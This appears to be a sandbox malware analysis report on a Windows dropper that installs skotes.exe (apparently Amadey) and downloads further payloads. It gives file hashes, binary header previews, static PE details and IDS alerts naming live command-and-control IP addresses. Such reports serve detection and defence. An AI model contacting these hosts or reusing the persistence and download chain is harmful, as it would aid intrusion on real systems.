Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$.cg..............0......2........... ........@.. .......................`............@.....................................W.......H/...................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...H/.......0..................@..@.reloc.......@......................@..B........................H........<..........K.......`p...........................................Y?.F60...5..8....4zc.:.V........N.0...1.....O*.S..~.......I...pR..iI......Pn}...iJ!BH.+o/S..yj...8T'.}....y.I.kD.....'....$.6....}..w[. )...j..[.-..0....\|...p....h\..L....R.T.~......b.K.h....".8.s`)...1... ....[i&.9....a?.F..N..~..._.^...Q.....43.L.....@v...x..IB.4...........\|......(........~.Y.L.S..;..x.)w...v...:..2.....y.%{3w.)..^..7......@...7..k.H..p}."..%.p....0.g.3....g..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	7.5483205038734775
Encrypted:	false
SSDEEP:	6144:Z2GR3amwfiwk10i/qwNiMnfUEiGGGGGGGGDGGGGGGGGGGGGGGGGGGGGGGGGGGGGm:ZVlSir10ieLUD0zvszHXGnr0
MD5:	43502ACAB4E49820A60220BF477F79C8
SHA1:	F0E8B80B5340A669CC39808049386DBF2C69AFA3
SHA-256:	644753337891951302CA6B53EEB02CC6D2C5CD195DA8A887FC4A99FDB37EB3B2
SHA-512:	803B733A600E4B6C89418D8E86D8AC9BE4CF92A8D53A13C2B02FB344EF67406AA3643E3F695675C7348FC048379ED2E389633AD18C40A0E76E0AF8C7E5154A68
Malicious:	true
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4421632
Entropy (8bit):	7.9860824286013745
Encrypted:	false
SSDEEP:	98304:rJjB8hwcXiocct8XrfDDUR8o7iPiyg9GrLi+3OgQp8odxsw53Er:t+WE8Xr0Rt7crg9Gu+3OgQQw
MD5:	61039D97D478405525707E3C0B4B3003
SHA1:	501CF467CD61CA88A1E0991C2D7899A97237D8FF
SHA-256:	BE39F15BFAEB90C138DBBC06F647BA537C5B451459343B9EF2A5583C0A02A89C
SHA-512:	D08D9262DE6777F0B9F7D010462EC669D3F58CC202C528CA8CAAC9C9611A50629EE3C311ABC3689FA7CE2E52EB1DACC17B3E9F0AAC61FFA6F924E903879D74EE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...........PD...@..................................PD...@... ............................._.a.s.....a......................z..............................tz...................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... ..7...a......R(.............@...jjnhjgow.............T(.............@...esuyrufd.............RC.............@....taggant.0......."...VC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885696
Entropy (8bit):	7.9502129539309525
Encrypted:	false
SSDEEP:	49152:xygWjRQ3HLL/piTRSyEvGqpGl3Ao1cVPeb3ymHw2NG:ggrHpi8yhqclT1vtN
MD5:	25FB9C54265BBACC7A055174479F0B70
SHA1:	4AF069A2EC874703A7E29023D23A1ADA491B584E
SHA-256:	552F8BE2C6B2208A89C728F68488930C661B3A06C35A20D133EF7D3C63A86B9C
SHA-512:	7DFD9E0F3FA2D68A6CE8C952E3B755559DB73BB7A06C95AD6ED8AC16DEDB49BE8B8337AFC07C9C682F0C4BE9DB291A551286353E2E2B624223487DC1C8B54668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................J...........@...........................J.....%-....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...uzxdwyvi.P... 0..B...^..............@...efzdldig.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1374720
Entropy (8bit):	7.0671827674657335
Encrypted:	false
SSDEEP:	24576:fYlZH+uQDPYLZtPikfLyXFD3qRc4f6GO4k88P9VB77Ml8fmMxHr:fYu7DPYLZtakzyVD3ELCh//+8fmW
MD5:	669ED3665495A4A52029FF680EC8EBA9
SHA1:	7785E285365A141E307931CA4C4EF00B7ECC8986
SHA-256:	2D2D405409B128EEA72A496CCFF0ED56F9ED87EE2564AE4815B4B116D4FB74D6
SHA-512:	BEDC8F7C1894FC64CDD00EBC58B434B7D931E52C198A0FA55F16F4E3D44A7DC4643EAA78EC55A43CC360571345CD71D91A64037A135663E72EED334FE77A21E6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 28%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....h.D..........&....&..........................@..........................p......\U....@... ..............................P..........,l.......................c...................................................T...............................text...............................`..`.data...H...........................@....rdata..............................@..@.eh_fram............p..............@..@.bss....4....@...........................idata.......P......................@....CRT....8....p.......$..............@....tls.................&..............@....rsrc...,l.......n...(..............@..@.reloc...c.......d..................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2138232
Entropy (8bit):	7.940321732008107
Encrypted:	false
SSDEEP:	49152:VIfzw6NbHHBp7k5hhJ+j0h7x0vRNu1UiPPs0EkHbG+nu:VILwYt5ShrfKvW0z
MD5:	E5F8753995C0B30B827AA2B17F3E1D22
SHA1:	B268EE165073321CB893FC6DC682ADBE38AF87B5
SHA-256:	C3A4EC523039D5969745279B8909FBB82BFC999D9241E24B5CEFEA23A3F2C04F
SHA-512:	DBA6104720C45C3201878C515DAC487B0F66522E85DB56CF19B4378D4DA94D38E640EB48259A6CA3FD8602B083283915BDEBDC8BB57039F1CDD2FE84792BA2FA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~............b......b..<....b.....)^......................................... ...... ......%...... ......Rich............PE..L...~.r\............................y.............@.......................................@............................4.......<.......4............................n..T...........................(...@...............\...T... ....................text...d........................... ..`.rdata..............................@..@.data...............................@....gfids..............................@..@.rsrc...4...........................@..@.reloc........... ...z..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885696
Entropy (8bit):	7.9502129539309525
Encrypted:	false
SSDEEP:	49152:xygWjRQ3HLL/piTRSyEvGqpGl3Ao1cVPeb3ymHw2NG:ggrHpi8yhqclT1vtN
MD5:	25FB9C54265BBACC7A055174479F0B70
SHA1:	4AF069A2EC874703A7E29023D23A1ADA491B584E
SHA-256:	552F8BE2C6B2208A89C728F68488930C661B3A06C35A20D133EF7D3C63A86B9C
SHA-512:	7DFD9E0F3FA2D68A6CE8C952E3B755559DB73BB7A06C95AD6ED8AC16DEDB49BE8B8337AFC07C9C682F0C4BE9DB291A551286353E2E2B624223487DC1C8B54668
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................J...........@...........................J.....%-....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...uzxdwyvi.P... 0..B...^..............@...efzdldig.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1114112
Entropy (8bit):	7.7336985855739355
Encrypted:	false
SSDEEP:	24576:FAu2uOTJr0/sBIpMvVEDvtNNVpk3BLSx+ptEH76duCiheu2:4ugJAGIpMmZNNEBLSx4EHGxiC
MD5:	EF08A45833A7D881C90DED1952F96CB4
SHA1:	F04AEEB63A1409BD916558D2C40FAB8A5ED8168B
SHA-256:	33C236DC81AF2A47D595731D6FA47269B2874B281152530FDFFDDA9CBEB3B501
SHA-512:	74E84F710C90121527F06D453E9286910F2E8B6AC09D2AEB4AB1F0EAD23EA9B410C5D1074D8BC759BC3E766B5BC77D156756C7DF093BA94093107393290CED97
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$.cg..............0......2........... ........@.. .......................`............@.....................................W.......H/...................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...H/.......0..................@..@.reloc.......@......................@..B........................H........<..........K.......`p...........................................Y?.F60...5..8....4zc.:.V........N.0...1.....O*.S..~.......I...pR..iI......Pn}...iJ!BH.+o/S..yj...8T'.}....y.I.kD.....'....$.6....}..w[. )...j..[.-..0....\|...p....h\..L....R.T.~......b.K.h....".8.s`)...1... ....[i&.9....a?.F..N..~..._.^...Q.....43.L.....@v...x..IB.4...........\|......(........~.Y.L.S..;..x.)w...v...:..2.....y.%{3w.)..^..7......@...7..k.H..p}."..%.p....0.g.3....g..

C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4421632
Entropy (8bit):	7.9860824286013745
Encrypted:	false
SSDEEP:	98304:rJjB8hwcXiocct8XrfDDUR8o7iPiyg9GrLi+3OgQp8odxsw53Er:t+WE8Xr0Rt7crg9Gu+3OgQQw
MD5:	61039D97D478405525707E3C0B4B3003
SHA1:	501CF467CD61CA88A1E0991C2D7899A97237D8FF
SHA-256:	BE39F15BFAEB90C138DBBC06F647BA537C5B451459343B9EF2A5583C0A02A89C
SHA-512:	D08D9262DE6777F0B9F7D010462EC669D3F58CC202C528CA8CAAC9C9611A50629EE3C311ABC3689FA7CE2E52EB1DACC17B3E9F0AAC61FFA6F924E903879D74EE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...........PD...@..................................PD...@... ............................._.a.s.....a......................z..............................tz...................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... ..7...a......R(.............@...jjnhjgow.............T(.............@...esuyrufd.............RC.............@....taggant.0......."...VC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4423680
Entropy (8bit):	7.989319780896103
Encrypted:	false
SSDEEP:	98304:5eRXo0l47J0m+Z1vw3hnaBN95pzzJTOkuOBgQ/kRVqVBIAY7KaJz:IRXadjeona1zNOkjJBnZEz
MD5:	DD8DF388D297C668E3CCCBD9132EE6C1
SHA1:	648171CC15BCF5C037AFF15F09FDAF4AB07C23C3
SHA-256:	1F5AC588733BF56F94FE424076A6C91AFE805EDAC18FCA6A5C8E2B86E9F9D87B
SHA-512:	4F931FDC5B6C0BA23CD1B495A1E712739C8332EDEEBC3A4B318784B166436F3B2DD13D929759733047AEA5B44B5FED18D19BB839967433A4E507441DD8408803
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.VH...v..2...P.......pH...@.................................AyD...@... ............................._pt.s....`t.....................X3...............................3...................................................... . .Pt......L(.................@....rsrc........`t......\(.............@....idata .....pt......^(.............@... ..7...t......`(.............@...ctknaohd.....@.......b(.............@...tteedpjp.....@.......XC.............@....taggant.0...P..."...^C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017824001\83c3b21a33.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1374720
Entropy (8bit):	7.0671827674657335
Encrypted:	false
SSDEEP:	24576:fYlZH+uQDPYLZtPikfLyXFD3qRc4f6GO4k88P9VB77Ml8fmMxHr:fYu7DPYLZtakzyVD3ELCh//+8fmW
MD5:	669ED3665495A4A52029FF680EC8EBA9
SHA1:	7785E285365A141E307931CA4C4EF00B7ECC8986
SHA-256:	2D2D405409B128EEA72A496CCFF0ED56F9ED87EE2564AE4815B4B116D4FB74D6
SHA-512:	BEDC8F7C1894FC64CDD00EBC58B434B7D931E52C198A0FA55F16F4E3D44A7DC4643EAA78EC55A43CC360571345CD71D91A64037A135663E72EED334FE77A21E6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 28%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....h.D..........&....&..........................@..........................p......\U....@... ..............................P..........,l.......................c...................................................T...............................text...............................`..`.data...H...........................@....rdata..............................@..@.eh_fram............p..............@..@.bss....4....@...........................idata.......P......................@....CRT....8....p.......$..............@....tls.................&..............@....rsrc...,l.......n...(..............@..@.reloc...c.......d..................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017825001\bb54d38b96.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	7.5483205038734775
Encrypted:	false
SSDEEP:	6144:Z2GR3amwfiwk10i/qwNiMnfUEiGGGGGGGGDGGGGGGGGGGGGGGGGGGGGGGGGGGGGm:ZVlSir10ieLUD0zvszHXGnr0
MD5:	43502ACAB4E49820A60220BF477F79C8
SHA1:	F0E8B80B5340A669CC39808049386DBF2C69AFA3
SHA-256:	644753337891951302CA6B53EEB02CC6D2C5CD195DA8A887FC4A99FDB37EB3B2
SHA-512:	803B733A600E4B6C89418D8E86D8AC9BE4CF92A8D53A13C2B02FB344EF67406AA3643E3F695675C7348FC048379ED2E389633AD18C40A0E76E0AF8C7E5154A68
Malicious:	true
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3002368
Entropy (8bit):	6.535879522543984
Encrypted:	false
SSDEEP:	49152:XYcTFPtXwQoLZUBwsfBvrDtWM2ztzbHm2HCoQVQBhm9vOVTU:vho9UBwsfBTDtW1ztHHmToQycvOVT
MD5:	A916C16724E4AA3EEF3839F1647F2B0F
SHA1:	981069C2D4254CA1B9CF41BC5DAB8DB5BFDA1558
SHA-256:	45400639F60D98C903E3942BEA79413D9779BB1A62D96FFE1AC621DE8DBD3800
SHA-512:	DC4949109A56E0B177A266E3B30D7675A6AF578AF31E103DC5CA9A3E26DA42C01B472B64CBE0B17C4C64890F477BFFFC1A95BC256159CE7E112DA20971448980
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 44%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.....Rq....@.................................W...k............................^1.............................<^1..................................................... . ............................@....rsrc...............................@....idata ............................@...yymeftdj..........................@...pisbsuaq.....p1.......-.............@....taggant.0....1.."....-.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.3986007263658586
Encrypted:	false
SSDEEP:	6:Nwl7bXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lHtQldt0:NwlPf2RKQ1CGAFAjzvYRQVHCldt0
MD5:	057EE04761811D01048EA70D4AF4BCB3
SHA1:	73FD31A91E818966084C1BF5A8E9ACF63EEB2E4D
SHA-256:	CD94822BDBB65CDC7BFCE671021D30C48A3B2BFC40C3F3AE33501BAEE98B97C9
SHA-512:	87D09B32B312BD7ED91914162CDD90BDDE7ACC1B10DCD4542EDCDFF3BF3404C79CCFB515961626F4AC2F51A5AEB5F282E460EC9CAC723DFCE5055BC5BDB4FED1
Malicious:	false
Preview:	....S..3..@.@Y.?'D.F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.535879522543984
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'002'368 bytes
MD5:	a916c16724e4aa3eef3839f1647f2b0f
SHA1:	981069c2d4254ca1b9cf41bc5dab8db5bfda1558
SHA256:	45400639f60d98c903e3942bea79413d9779bb1a62d96ffe1ac621de8dbd3800
SHA512:	dc4949109a56e0b177a266e3b30d7675a6af578af31e103dc5ca9a3e26da42c01b472b64cbe0b17c4c64890f477bfffc1a95bc256159ce7e112da20971448980
SSDEEP:	49152:XYcTFPtXwQoLZUBwsfBvrDtWM2ztzbHm2HCoQVQBhm9vOVTU:vho9UBwsfBTDtW1ztHHmToQycvOVT
TLSH:	C7D54CA1B905B2CFD48E27789427CD62596D03F907104AC3ED6D76BBBEA3CC125B6C24
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x718000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F1B913163EAh
xrstor [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x315e8c	0x10	yymeftdj
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x315e3c	0x18	yymeftdj
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	f75b9439abbe09690995f55c1f52490d	False	0.9982278184604905	data	7.987641599443997	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x400	e5bd5b764f73013ec1d48af4ce013072	False	0.7099609375	data	5.855458556710305	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yymeftdj	0x6b000	0x2ac000	0x2ab400	f0baa8700abf6ddb7ea81a424b1f5234	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pisbsuaq	0x317000	0x1000	0x600	b8db481e82c5eeaf6d57819a3797968a	False	0.5657552083333334	data	4.955691940737168	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x318000	0x3000	0x2200	b60fd3e8d1bfc4329aa5065b1f461d25	False	0.05905330882352941	DOS executable (COM)	0.7136181204127142	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x315e9c	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x316280	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T20:10:06.126933+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.4	49785	185.215.113.64	443	TCP
2024-12-19T20:11:06.882519+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49753	185.215.113.43	80	TCP
2024-12-19T20:11:11.648359+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49768	31.41.244.11	80	TCP
2024-12-19T20:11:17.713545+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49764	TCP
2024-12-19T20:11:19.060963+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49788	185.215.113.43	80	TCP
2024-12-19T20:11:20.510296+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49794	31.41.244.11	80	TCP
2024-12-19T20:11:27.319857+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49812	104.21.91.209	443	TCP
2024-12-19T20:11:27.896692+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49813	185.215.113.43	80	TCP
